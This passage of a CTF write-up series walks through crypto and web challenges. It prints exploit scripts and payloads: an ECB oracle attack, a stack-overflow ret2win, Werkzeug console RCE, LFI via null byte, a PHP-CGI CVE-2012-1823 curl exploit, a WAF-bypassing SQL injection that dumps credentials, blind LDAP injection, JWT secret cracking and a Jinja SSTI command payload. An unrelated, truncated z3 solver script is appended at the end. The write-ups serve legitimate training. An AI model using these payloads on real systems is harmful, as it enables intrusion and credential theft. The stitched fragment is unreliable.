video](https://www.youtube.com/watch?v=f-iz_ZAS258). Because we know that input of length higher than 32 gives us an output with 64 more characters than input with length of at most 32 we can deduce that the plaintext (our input appended to the flag and padded) is split into blocks of 32 characters, so when our input is 32 characters long the first block in the ciphertext (first 64 characters in the ciphertext) is entirely made out of our input and the second block in the ciphertext is the flag with the padding, and when our input is 31 characters long the first block in the ciphertext is our input with the first letter of the flag in the end. So we can choose a random string of 31 characters and iterate over all the characters and check if the first block in the ciphertext when the input is our string appended to this (so the block is entirely our input) is equal to the first block of the ciphertext when the input is only our string (so the block is our input and the first character of the flag), after finding the first letter we can do the same for the second letter using a string of 30 appended to the discovered letter and so on for all the letters using the start of the flag discovered so for as the end of the string, more formally: ![](assets//images//aesthetic_6.png) if you still don't understand the attack you should check out the video I linked above and the first comment of the video. For the attack I wrote the following code which does basically the same as I described, building the flag character by character: ```pythonfrom pwn import *import refrom string import ascii_lowercase, digits s = remote('jh2i.com', 50009)s.recvuntil("> ") flag = '' for i in range(1,33): s.sendline('a' * (32 - i)) base_block = re.findall('[a-f0-9]{64}', s.recvuntil("> ").decode('utf-8'))[0][:64] for c in '_{}' + ascii_lowercase + digits: s.sendline('a' * (32 - i) + flag + c) block = re.findall('[a-f0-9]{128}', s.recvuntil("> ").decode('utf-8'))[0][:64] if block == base_block: flag = flag + c print(flag) break s.close()```and running this script gives us the flag: ![](assets//images//aesthetic_7.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## OFBuscatedI just learned some lesser used AES versions and decided to make my own! Connect here:\`nc jh2i.com 50028` [obfuscated.py](assets//scripts//ofbuscated.py) **Post-CTF Writeup**\**`flag{bop_it_twist_it_pull_it_lol}`** **Solution:** With the challenge we are given a port on a server to connect to and a python script, let's start with the server, by connecting to it we get an hex string: ![](assets//images//obfuscated_1.png) and by reconnecting we get a different one: ![](assets//images//obfuscated_2.png) this doesn't give us a lot of information so let's look at the script: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() class Service(socketserver.BaseRequestHandler): def handle(self): assert len(flag) % 16 == 1 blocks = self.shuffle(flag) ct = self.encrypt(blocks) self.send(binascii.hexlify(ct)) def byte_xor(self, ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(self, blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(self.byte_xor(block, curr)) return b''.join(ct) def shuffle(self, pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(self, string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" self.request.sendall(string) def receive(self, prompt="> "): self.send(prompt, newline=False) return self.request.recv(4096).strip() class ThreadedService( socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler,): pass def main(): port = 3156 host = "0.0.0.0" service = Service server = ThreadedService((host, port), service) server.allow_reuse_address = True server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() print("Server started on " + str(server.server_address) + "!") # Now let the main thread just wait... while True: sleep(10) if __name__ == "__main__": main()``` From the main function we can assume that this is the script running on the port we get, but the function doesn't seems to be important so let's get rid of it and while we're at it remove the ThreadedService class and the receive function as there is no use for them: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() def handle(): assert len(flag) % 16 == 1 blocks = shuffle(flag) ct = encrypt(blocks) send(binascii.hexlify(ct)) def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(byte_xor(block, curr)) return b''.join(ct) def shuffle(pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" request.sendall(string) ``` Our most important function is handle, it start by asserting that the length of the flag modulo 16 is 1, so we now know that the length is 16 * k + 1 for some number k, then it invokes a function called shuffle, this function pads the flag to a length divided by 16, so the length after padding is 16 * (k + 1), notice that is uses the method pad from Crypto.Util.Padding, this method uses PKCS7 padding style by default which pads the length of the string to the end of it, so basically our flag is now padded with the number 16 * k + 1 for a total length of 16 * (k + 1), afterwards the method splits the padded flag into blocks of size 16 and shuffles the blocks using random.shuffle, so overall after invoking shuffle we are left with an array of k + 1 blocks in a random order, where each block is a length 16 and a part of the flag padded with his length. Afterwards, handle calls encrypt with the blocks as argument, for each block the method encrypt encrypts the variable iv using AES-ECB, it then xors it with the block and append the result to an array, this type of encryption is actually AES-OFB or in other words AES in Output Feedback mode of operation (it seems the organizers really love modes of operation), so as I explained in the previous challenge and a one before it modes of operation allows block ciphers to encrypt data of any length by splitting the data into blocks and encrypting each one separately and in the end appending the ciphertexts together, OFB is very interesting in that regard because the data itself is not encrypted by the block cipher in any stage but the initialization vector (iv) is, and each encrypted block of iv is xorred with a block of the plaintext to create the ciphertext, because of this trait we can think of using this mode of operation as using a one time pad (OTP), this is because we can perform all the encryptions of iv beforehand and only xor the plaintext with it when we need to much like using OTP (OTP is even stronger because the key is totally random), if you've know what is an OTP you probably can guess why this is bad and what we can exploit, a schema of this mode: <div align=center> </div> after encryption the ciphertext created is hexified and sent to the user. So why this is bad? as I said this encryption is basically OTP where the key is the encrypted iv, it is unsafe to reuse keys with one time pad encryption because if we have two ciphertext created by the same key c1 = m1 ^ k and c2 = m2 ^ k we can xor the ciphertext to get c1 ^ c2 = m1 ^ k ^ m2 ^ k = m1 ^ m2, also by having a message and its encryption we can retrieve the key (this is called a known plaintext attack), but why is all this relevant to us? well, because we actually know the value of the last block in the plaintext, but first let's find the length of the plaintext, we can do that by just decoding the hex value we get from the server to bytes and counting the number of bytes, by doing so we find that the length of the plaintext is 48 bytes meaning that 16 * ( k + 1 ) = 48 and k = 2, and so we now know that our flag has a length of 33 and the number of blocks in the encryption is 3, why we know the value of the last block? simply because we know that it comprises of the last character of the flag, which is a closing curly brace `}`, and then a padding using the number 33, and why this is bad? let's say we have a list of all the possible values of the first block of ciphertext (there are exactly 3), let them be b1, b2 and b3, one of them is obviously an encryption of the block we know, let's say its b2, and all of them are encrypted by xorring the same value k, so if we xor every block with every other block and xor that with the plaintext block we know 2 out of the 3 resulting blocks will be the other plaintext blocks, that's because xorring b2 with its plaintext results with k, and xorring k with every other block will result with the plaintext of b1 and b3, so we've just discovered all the blocks in the plaintext! So I wrote the following code to perform the attack, the code reconnects to server until it has all the possible values of the first block, then it xors the values between themselves and between the known plaintext block and check if the result is a printable string (it's very unlikely we'll get a printable result which is not in the flag), if so it finds its position in the flag (using the flag format) and prints the result: ```pythonfrom pwn import *import binasciifrom Crypto.Util.Padding import pad, unpadfrom string import printable def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) # all possible combinations of plaintext blocks and encrypted IVpossible_ct_blocks = [] # the most likely third and final blockthird_block = pad(b'a' * 32 + b'}', 16)[-16:] # the flagflag = [b'',b'', third_block] # finds all the values of the first block in the ciphertextwhile True: s = remote('jh2i.com', 50028) ct_block = binascii.unhexlify(s.recvline().decode('utf-8')[:-1])[:16] s.close() if ct_block not in possible_ct_blocks: possible_ct_blocks += [ct_block] if len(possible_ct_blocks) == 3: break # decrypts the data using knowladge of the third block and the posibility of it being in every positionfor j in range(3): xorred_block = bytes(byte_xor(possible_ct_blocks[j], possible_ct_blocks[(j + 1) % 3])) xorred_block = byte_xor(xorred_block, third_block) if all(chr(c) in printable for c in xorred_block): if b'flag' in xorred_block: flag[0] = xorred_block else: flag[1] = xorred_block print(unpad(b''.join(flag), 16).decode('utf-8'))```and we got the flag: ![](assets//images//obfuscated_4.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation* One Time Pad (OTP): https://en.wikipedia.org/wiki/One-time_pad *** # Binary Exploitation **Note:** For all the binary exploitation challenges I'll be working with [IDA free](https://www.hex-rays.com/products/ida/support/download_freeware/) and [pwntools](http://docs.pwntools.com/en/stable/) ## PancakesHow many flap-jacks are on your stack? Connect with:\`nc jh2i.com 50021` [pancakes](assets//executables//pancakes) **Post-CTF Writeup**\**`flag{too_many_pancakes_on_the_stack}`** **Solution:** With the challenge we are given an executable and a port on a server running this executable, by running this executable we can see that it asks for how many pancakes we want and then by giving it input it prints us a nice ASCII art of pancakes: ![](assets//images//pancakes_1.png) Okay now that we know what the executable does, let's see what we up against, using pwn.ELF() we can see which defenses the executable uses: <div align=center> </div> The executable doesn't use canaries to protect from buffer overflows so we might be able to overflow the return address of a subroutine and cause a segfault, let's try doing that: ![](assets//images//pancakes_3.png) We got a segfault! if you've noticed to cause the segfault I used a tool called `cyclic`, cyclic is a tool from pwntools which creates a string with a cyclic behavior, we can use this string in order to find the relative distance of important values on the stack from the start of the input buffer, the command `cyclic -n 8 400` creates a cyclic string of length 400 with cyclical substrings of length 8, let's try that again but now while debugging with IDA, by placing a breakpoint at the retn command (return from a subroutine command) of the main subroutine and looking at the value in the stack before the execution of the instruction, which is the address we return to, we can get the relative distance from the return address: ![](assets//images//pancakes_4.png) The value is `0x6161616161616174` or `aaaaaaat` in ASCII (I think I messed up this picture so believe me that this is the value), we can lookup the position of this substring using the command `cyclic -n 8 -o taaaaaaa` notice that I wrote the string in reverse, that is because data is written to the stack from right to left in IDA, by running this command we get an offset of 152 from the start of the buffer, and we have a way to jump to any point in the executable by overflowing the stack right until the return address and then modifying the value of the return address to what we choose, looking at the symbols we can see a subroutine named secret_recipe, this subroutine reads a file named flag.txt and then prints its content to the screen using puts: ![](assets//images//pancakes_5.png) this function obviously prints the flag, so let's jump to it, for that I wrote the following script in python using the pwn module (which is the module for pwntools), this script connects to the server, finds the address of the function secret_recipe and creates the matching payload so that the execution will return to this function after finishing with main,then the script sends the payload as input and print the flag received from the server: ```pythonfrom pwn import *import re e = ELF('pancakes')addr = p64(e.symbols['secret_recipe']) local = Falseif not local: s = remote('jh2i.com', 50021)else: s = process('pancakes') s.recv()s.sendline(b'A' * 152 + addr)response = s.recvall()print(re.findall('flag{.*}', response.decode('utf-8'))[0])s.close()``` and in action: ![](assets//images//pancakes_6.png) *** # Web ## LadybugWant to check out the new Ladybug Cartoon? It's still in production, so feel free to send in suggestions! Connect here:\http://jh2i.com:50018 **`flag{weurkzerg_the_worst_kind_of_debug}`** **Solution:** With the challenge we are given a url to a website: ![](assets//images//ladybug_1.png) The page seems pretty bare, there are some links to other pages in the website and an option to search the website or to contact ladybug using a form, I first tried checking if there's a XXS vulnerability in the contact page or a SQLi vulnerability / file inclusion vulnerability in the search option, that didn't seem to work, then I tried looking in the other pages in the hope that I'll discover something there, none of those seemed very interesting, but, their location in the webserver stood out to me, all of them are in the `film/` directory, the next logical step was to fuzz the directory, doing so I got an Error on the site: ![](assets//images//ladybug_2.png) This is great because we now know that the site is in debugging mode (we could also infer that from the challenge description but oh well), also we now know that the site is using Flask as a web framework, Flask is a web framework which became very popular in recent years mostly due to it simplicity, the framework depends on a web server gateway interface (WSGI) library called Werkzeug, A WSGI is a calling convention for web servers to forward requests to web frameworks (in our case Flask). Werkzeug also provides web servers with a debugger and a console to execute Python expression from, we can find this console by navigating to `/console`: ![](assets//images//ladybug_3.png) From this console we can execute commands on the server (RCE), let's first see who are we on the server, I used the following commands for that: ```pythonimport subprocess;out = subprocess.Popen(['whoami'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);``` the command simply imports the subprocess library, creates a new process that executes `whoami` and prints the output of the command, by doing so we get: ![](assets//images//ladybug_4.png) The command worked!, now we can execute `ls` to see which files are in our working directory, doing so we can see that there's a file called flag.txt in there, and by using `cat` on the file we get the flag: ![](assets//images//ladybug_5.png) **Resources:*** Flask: https://en.wikipedia.org/wiki/Flask_(web_framework)* Flask RCE Debug Mode: http://ghostlulz.com/flask-rce-debug-mode/ ## BiteWant to learn about binary units of information? Check out the "Bite of Knowledge" website! Connect here:\http://jh2i.com:50010 **`flag{lfi_just_needed_a_null_byte}`** **Solution:** With the challenge we get a url for a website: ![](assets//images//bite_1.png) the site is about binary units, a possible clue for the exploit we need to use, it seems we can search the site or navigate to other pages, by looking at the url we can see that it uses a parameter called page for picking the resource to display, so the format is: `http://jh2i.com:50010/index.php?page=<resource>` we possibly have a local file inclusion vulnerability (LFI) here, as I explained in my writeup for nahamCon CTF: > PHP allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage Let's first try to include the PHP file itself, this will create some kind of a loop where this file is included again and again and will probably cause the browser to crash...but it's a good indicator that we have an LFI vulnerability without forcing us to use directory traversal, navigating to `/index.php?page=index.php` gives us: ![](assets//images//bite_2.png) index.php.php? it seems that the PHP file includes a resource with a name matching the parameter given appended with .php, lets try `/index.php?page=index` : ![](assets//images//bite_3.png) It worked! so we know that we have an LFI vulnerability where the parameter given is appended to a php extension, appending a string to the user input is a common defense mechanism against arbitrary file inclusion as we are limited only to a small scope of files, hopefully only ones that are safe to display, but there are several ways to go around this. In older versions of PHP by adding a null byte at the end of the parameter we can terminate the string, a null byte or null character is a character with an hex code of `\x00`, this character signifies the end of a string in C and as such strings in C are often called null-terminated strings, because PHP uses C functions for filesystem related operations adding a null byte in the parameter will cause the C function to only consider the string before the null byte. With that in mind let's check if we can use a null byte to display an arbitrary file, to mix things we'll try to include `/etc/passwd`, this file exists in all linux servers and is commonly accessible by all the users in the system (web applications are considered as users in linux), as such it's common to display the content of this file in order to prove access to a server or an exploit (proof of concept), we can represent a null byte in url encoding using `%00`, navigating to `/index.php?page=/etc/passwd%00` gives us: ![](assets//images//bite_4.png) We can use null bytes!...but where is the flag located?\At this point I tried a lot of possible locations for the flag until I discovered that it's located in the root directory in a file called `file.txt` navigating to `/index.php?page=/flag.txt%00` gives us the flag: ![](assets//images//bite_5.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion* Null byte: https://en.wikipedia.org/wiki/Null_character* Null byte issues in PHP: https://www.php.net/manual/en/security.filesystem.nullbytes.php ## GI JoeThe real American hero! Connect here:\http://jh2i.com:50008 **Post-CTF Writeup**\**`flag{old_but_gold_attacks_with_cgi_joe}`** **Solution:** With the challenge we get a url to a website about G.I joe's movies called See GI Joe: ![](assets//images//gi_joe_1.png) From the name of the challenge we can assume it has something to do with Common Gateway Interface or CGI (See GI), Common Gateway Interface are interface specifications for communication between a web server (which runs the website) and other programs on the server, this allows webserver to execute commands on the server (such as querying a database), and is mostly used for dynamic webpages, this type of communication is handled by CGI scripts which are often stored in a directory called `cgi-bin` in the root directory of the web server. Looking around on the website I couldn't find something interesting, but by looking at the headers of the server responses using the inspect tool I discovered that the website is using the outdated PHP version 5.4.1 and Apache version 2.4.25, this are quite old versions of both PHP (current version is 7.3) and Apache (current version is 2.4.43) so I googled `php 5.4.1 exploit cgi` and discovered this [site](https://www.zero-day.cz/database/337/), according to it there's a vulnerability in this version of PHP which let us execute arbitrary code on the server, this vulnerability is often referred to by CVE-2012-1823 (or by CVE-2012-2311 because of a later discovery related to this vulnerability). In more details when providing a vulnerable website with a value without specifying the parameter (lack of the `=` symbol) the value is somehow interpreted as options for a program on the server called php-cgi which handles communication with the web server related to PHP (the options for the program are listed in the man page linked below), so for example by using the `-s` flag on php-cgi we can output the source code of a PHP file and so by adding `/?-s` to the URI for a PHP file located on a vulnerable server we can view the source code of the file, let's try it on the index page which is a PHP file, by navigating to `/index.php?-s` we get: ![](assets//images//gi_joe_2.png) It worked! and we now know that the flag is in a file called flag.txt located in the root directory of the server, as I mentioned before this vulnerability allows us to execute commands on the server, this can be done by using the `-d` option, using it we can change or define INI entries, or in other words change the configuration file of PHP, in order to run commands we need to change the option `auto_prepend_file` to `php://input`, this will force PHP to parse the HTTP request and include the output in the response, also we need to change the option `allow_url_include` to `1` to enable the usage of `php://input`, so by navigating to `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and adding to the HTTP request a PHP code which executes commands on the server `) ?>` we can achieve arbitrary code execution on the server. let's try doing that to view the flag, we can use `cURL` with the `-i` flag to include the HTTP response headers and `--data-binary` flag to add the PHP code to the HTTP request, in the PHP code we'll use `cat /flag.txt` to output the content of the file, the command is: `curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"` and by executing this command we get the flag: ![](assets//images//gi_joe_3.png) **Resources:*** Common Gateway Interface: https://en.wikipedia.org/wiki/Common_Gateway_Interface* CVE-2012-1823: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823* CVE-2012-2311: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311* a detailed explanation on CVE-2012-1823: https://pentesterlab.com/exercises/cve-2012-1823/course* man page for php-cgi: https://www.systutorials.com/docs/linux/man/1-php-cgi/ ## Waffle LandWe got hacked, but our waffles are now safe after we mitigated the vulnerability. Connect here:\http://jh2i.com:50024 **`flag{check_your_WAF_rules}`** **Solution:** With the challenge we get a url to a website about waffles: ![](assets//images//waffle_land_1.png) There seems to be only two functionalities to this webpage, searching using the search bar or signing in using a username and a password, as we don't have any credentials let's try to fiddle with the search option. The search option returns only the waffles that has the search parameter in them, trying to insert the character `'` gives us an error message: ![](assets//images//waffle_land_2.png) This gives us information about two things, first we know now that the search option uses SQL to filter data, SQL is a language designed for managing and querying databases (with SQL it is common to think of databases as tables with rows of data and columns of attributes), in this case a SQL query is used to select all the products with the having a value in the name attribute similar to the input given, second we know that the web server uses SQLite3 management system, this has some influence on the version of SQL used and on the operations we can use or exploit. A common attack against SQL systems is using SQL injection or SQLi, computers can't differentiate between data and commands and as such it's sometime possible to inject commands where data is requested, for example we can search for `' limit 1 ---` and this will cause the SQL management system if it's vulnerable to SQLi to execute the following query: `select * from product where name like '' limit 1` this query returns the first row of data in the product table, this will be executed because we closed the quotations and added `-- -` at the end which signifies that the rest of the string is a comment.To prevent this attack there are systems in place to filter (sanitize) the input given, one of those is a Web Application Firewall or WAF, this type of systems monitor the HTTP traffic of a web server and prevent attacks such as SQLi by blocking suspicious traffic. Let's first check if we have SQLi to begin with, using the search parameter in the example above gives us the following: ![](assets//images//waffle_land_3.png) Seems like we can use SQLi, now let's try to view the users table in order to sign in to the site, for that we need to add data from the users table to the output of the query, we can use union for that but it will only work if the number of attributes in the the product table and the number of attributes of the data added is the same, let's start with finding the number of attributes in the product table using `' order by n -- -`, adding this to the query will sort the data according to the n'th attribute, and if n is bigger than the number of attributes in this table the query will cause an error, doing so we can discover that the number of attributes in the product table (the table of waffles) is 5. With the number of attributes in mind we can try adding data, first we'll try using `' union select 1,2,3,4,5 -- -` this will add the row `1,2,3,4,5` to the output of the query, by doing so we get the following: ![](assets//images//waffle_land_4.png) It appears that the web server is blocking this search, so we might be working against a WAF after all (fitting the theme of this challenge), trying to work around the WAF I discovered that the WAF is only filtering searches with the string ` union select` so a simple workaround I discovered is using `/**/union/**/select` instead, the symbol `/*` signifies the start of a comment and the symbol `*/` the end of a comment so using `/**/` doesn't change the query's meaning but could possibly help us pass through the WAF, using `'/**/union/**/select 1,2,3,4,5 -- -` gives us the following: ![](assets//images//waffle_land_5.png) So now we have a way to add data to the output, we still need to get data about the users so we need to know the name of table which stores users data and the attributes of the table, checking if we can select data from a table named `users` by using `'/**/union/**/select 1,2,3,4,5 from users -- -` gives us an error but by checking for `user` seems to work so we can guess there is a table named `user` in the database, we need to get usernames and passwords from this table, I discovered through trial and error that there attributes named `password` and `username` so we can search for the following to get the data we need from this table: `' and 0=1/**/union/**/select/**/1,username,password,4,5 from user ---` the query executed will be: `select * from product where name like '' and 0=1/**/union/**/select/**/1,username,password,4,5 from user` this will first select the data from the product table and filter only the data that satisfy the condition 0=1, so the query will filter all the data from the product table, then it adds the data in the username and the password columns of the table user and uses number 1,4 and 5 to pad the data so we can use union, from the search we get the password and the username for admin: ![](assets//images//waffle_land_6.png) We can now login as admin and receive the flag: ![](assets//images//waffle_land_7.png) **Resources:*** SQL: https://en.wikipedia.org/wiki/SQL* SQLite: https://en.wikipedia.org/wiki/SQLite* SQL injection (SQLi): https://en.wikipedia.org/wiki/SQL_injection* Web Application Firewall (WAF): https://en.wikipedia.org/wiki/Web_application_firewall* SQLi cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection ## Lightweight Contact BookLookup the contact details of any of our employees! Connect here:\http://jh2i.com:50019 **`flag{kids_please_sanitize_your_inputs}`** **Solution:** We again receive a url to a website with the challenge which seems...empty ![](assets//images//lightweight_1.png) We have two options (again), to search and to login using a username and a password, but this time we also have the option to recover a user's password: ![](assets//images//lightweight_2.png) We can try some common usernames, all of them seems to give us the message "Sorry, this functionality is currently unavailable" except for the username `administrator` which gives us the following: ![](assets//images//lightweight_3.png) Okay so we have a username that is administrator...what's next? after a bit of fuzzing the search bar I got an error message: ![](assets//images//lightweight_4.png) by googling the error message I discovered that this website using a protocol called LDAP for the search, LDAP or Lightweight Directory Access Protocol is a protocol for accessing directory service over the internet (directory service is a shared information infrastructure, can be thought of as a database for this challenge), in this protocol the symbol `*` stands for a wildcard and filtering is done using `(<attribute>=<value>)` and filters can be appended together. By searching for `*` we can view the display name and the email of employees, one that stand out is the employee with the display name `Administrator User`, by trying to search for `Admin*` we can see that only the row with this employee is left, so we can assume that the statement used by the search option is `(name=<search input>)` and that we need to discover the description for the employee with the name `Administrator User`. A common attack against LDAP is using LDAP injection which is very similar to SQL injection, a simple example for LDAP injection is to search for `*)(mail=administrator@hacktivitycon*` the statement that will be executed by our assumption is: `(name=*)([email protected])` and only the employee(s) with this email will be displayed, trying that gives us: ![](assets//images//lightweight_5.png) and it seems that we can use LDAP injection, so we want to get the password stores in the description of the administrator but we cannot display it so we can do something similar to blind SQL injection, by search for `Admin*)(description=<string>*` and changing the value of string character by character, we have two options:* The value is the start of password and the information about the Administrator will be displayed as it matches both of the filters.* The value is not the start of the password and information about the Administrator will not be displayed because it doesn't match the second filter. we can start with an empty string an go through all the characters trying to append the character to the string until information about the Admin is displayed, at this point we know that the string is the start of the password and we can try to add another character to the string by again going through all the characters and so on until we can no longer add characters, so I wrote a python script to do that: ```python import urllib.parse, urllib.requestfrom string import printable password = ''while 1: for c in printable: query = 'Admin*)(description={}*'.format(password + c) url = 'http://jh2i.com:50019/?search=' + urllib.parse.quote(query) response = urllib.request.urlopen(url).read() if b'Admin' in response: password += c print(password) break ``` by running the script we get the password: ![](assets//images//lightweight_6.png) and we can connect with the username `administrator` and the password `very_secure_hacktivity_pass` to receive the flag: ![](assets//images//lightweight_7.png) **Resources:*** Lightweight Directory Access Protocol (LDAP): https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol* LDAP injection: https://www.synopsys.com/glossary/what-is-ldap-injection.html* LDAP injection cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection ## Template ShackCheck out the coolest web templates online! Connect here:\http://jh2i.com:50023 **Post-CTF Writeup**\**`flag{easy_jinja_SSTI_RCE}`** **Solution:** With the challenge we get a url for a webpage about web templates: ![](assets//images//template_shack_1.png) By the name of the challenge we can guess we need to use Server-Side Template Injection or SSTI.\This vulnerability is caused due to the nature of template engine, template engines are programs designed to embed dynamic data into static template files, a good example for this kind of templates are actually the one shown in this site, but using templates could allow attackers to inject template code to the website, because the template engine can't distinguish between the intended code and data unsafe embedding of user input without sanitization could result with user input interpreted as code and parsed by the engine, allowing attackers to reveal private information and even run arbitrary code on the server. But, this page doesn't seems to be vulnerable to SSTI, we could guess by the design and HTTP response's headers that this site is running jinja as the template engine with flask as the framework.\After the CTF ended I discovered that there is an SSTI vulnerability...in the admin page, so we need to sign in as admin first, looking around the website some more we can see that the site uses cookies to save user state, as I explained in a previous writeup: >...because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user in our case the cookie is actually a JSON Web Token or JWT, JWT is an internet standard for creating signed information and is used mostly for authentication, a token composes of three parts separated by a dot:* An Header, this header identifies the algorithm used to generate the signature (the third part of the token), this part is base64 encoded* A Payload, contains the set of claims, or in other words the actual signed data, this part is also base64 encoded* A signature, this part is used to validate the authenticity of the token, the signature is created by appending the previous two parts to a secret and then using the signing scheme or the message authentication code system listed in the header to encrypt the data. Let's look at our token using a tool called jwt_tool (listed in the resources): ![](assets//images//template_shack_2.png) We have only one claim in the token's payload and it's for the username, so we need to change the value of the claim to admin, there are multiple ways to modify a JWT but bruteforcing the secret key using a dictionary worked for me, we could do that using the same tool and a public dictionary for passwords called rockyou.txt with the following command: `python3 jwt_tool.py -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y -d rockyou.txt` By doing so we get the secret key `supersecret`, and using the same tool and the secret key we can modify the token so that the username is admin, the modified token is: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I` and by changing the cookie stored for the website to this token we get signed in as admin: ![](assets//images//template_shack_3.png) Checking out the admin page we see that it uses the first template shown on the index page: ![](assets//images//template_shack_4.png) so we now might be able to use SSTI, there are only two pages available two us, the charts page and the tables page in the side toolbar, both show a 404 error: ![](assets//images//template_shack_5.png) After a bit of fuzzing I discovered that we can add template code to the 404 error page by changing the URL of the page to `http://jh2i.com:50023/admin/`, for example by navigating to `http://jh2i.com:50023/admin/{{7*7}}` we get: ![](assets//images//template_shack_6.png) so now that we can use SSTI we can get RCE using the following payload: `{{config.__class__.__init__.__globals__['os'].popen('<command>').read()}}` I will not go to details about why it works because this writeup is long as it is but basically the part `config.__class__.__init__.__globals__` returns a list global variables of the class which config is an instance of, one of those is the module os, using the module os we can create a new process with popen which will execute a command and using read() will return the output of the command, first let's see what we have in our working directory: ![](assets//images//template_shack_7.png) it worked! and there is a file called flag.txt in this directory reading it using `cat flag.txt` gives us the flag: ![](assets//images//template_shack_8.png) **Resources:*** Server Side Template Injection (SSTI): https://portswigger.net/research/server-side-template-injection* Template engine: https://en.wikipedia.org/wiki/Template_processor* SSTI cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection* JSON Web Tokens: https://en.wikipedia.org/wiki/JSON_Web_Token* JSON Web Tokens cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token* jwt_tool: https://github.com/ticarpi/jwt_tool
```#!/usr/bin/python3import osfrom z3 import *from pwn import *from subprocess import Popen, PIPE, STDOUT def bin_solving(data1, data2): s = Solver() a1 = [BitVec('a1_%d'%i, 8) for i in range(14)] s.add( (a1[4] ^ a1[0] ^ a1[2]) == data1[0] ) s.add( (a1[4] ^ a1[2] ^ a1[6]) == data1[1] ) s.add( (a1[6] ^ a1[4] ^ a1[8]) == data1[2] ) s.add( (a1[8] ^ a1[6] ^ a1[10]) == data1[3] ) s.add( (a1[10] ^ a1[8] ^ a1[12]) == data1[4] ) s.add( (a1[12] ^ a1[10] ^ a1[1]) == data1[5] ) s.add( (a1[1] ^ a1[12] ^ a1[3]) == data1[6] ) s.add( (a1[3] ^ a1[1] ^ a1[5]) == data1[7] ) s.add( (a1[5] ^ a1[3] ^ a1[7]) == data1[8] ) s.add( (a1[7] ^ a1[5] ^ a1[9]) == data1[9] ) s.add( (a1[9] ^ a1[7] ^ a1[11]) == data1[10] ) s.add( (a1[11] ^ a1[9] ^ a1[13]) == data1[11] ) s.add( (a1[13] ^ a1[11] ^ a1[0]) == data1[12] ) s.add( (a1[0] ^ a1[13] ^ a1[2]) == data1[13] ) s.add( (a1[1] ^ a1[0] ^ a1[2]) == data2[0] ) s.add( (a1[2] ^ a1[1] ^ a1[3]) == data2[1] ) s.add( (a1[3] ^ a1[2] ^ a1[4]) == data2[2] ) s.add( (a1[4] ^ a1[3] ^ a1[5]) == data2[3] ) s.add( (a1[5] ^ a1[4] ^ a1[6]) == data2[4] ) s.add( (a1[6] ^ a1[5] ^ a1[7]) == data2[5] ) s.add( (a1[7] ^ a1[6] ^ a1[8]) == data2[6] ) s.add( (a1[8] ^ a1[7] ^ a1[9]) == data2[7] ) s.add( (a1[9] ^ a1[8] ^ a1[10]) == data2[8] ) s.add( (a1[10] ^ a1[9] ^ a1[11]) == data2[9] ) s.add( (a1[11] ^ a1[10] ^ a1[12]) == data2[10] ) s.add( (a1[12] ^ a1[11] ^ a1[13]) == data2[11] ) s.add( (a1[13] ^ a1[12] ^ a1[0]) == data2[12] ) s.add( (a1[0] ^ a1[13] ^ a1[1]) == 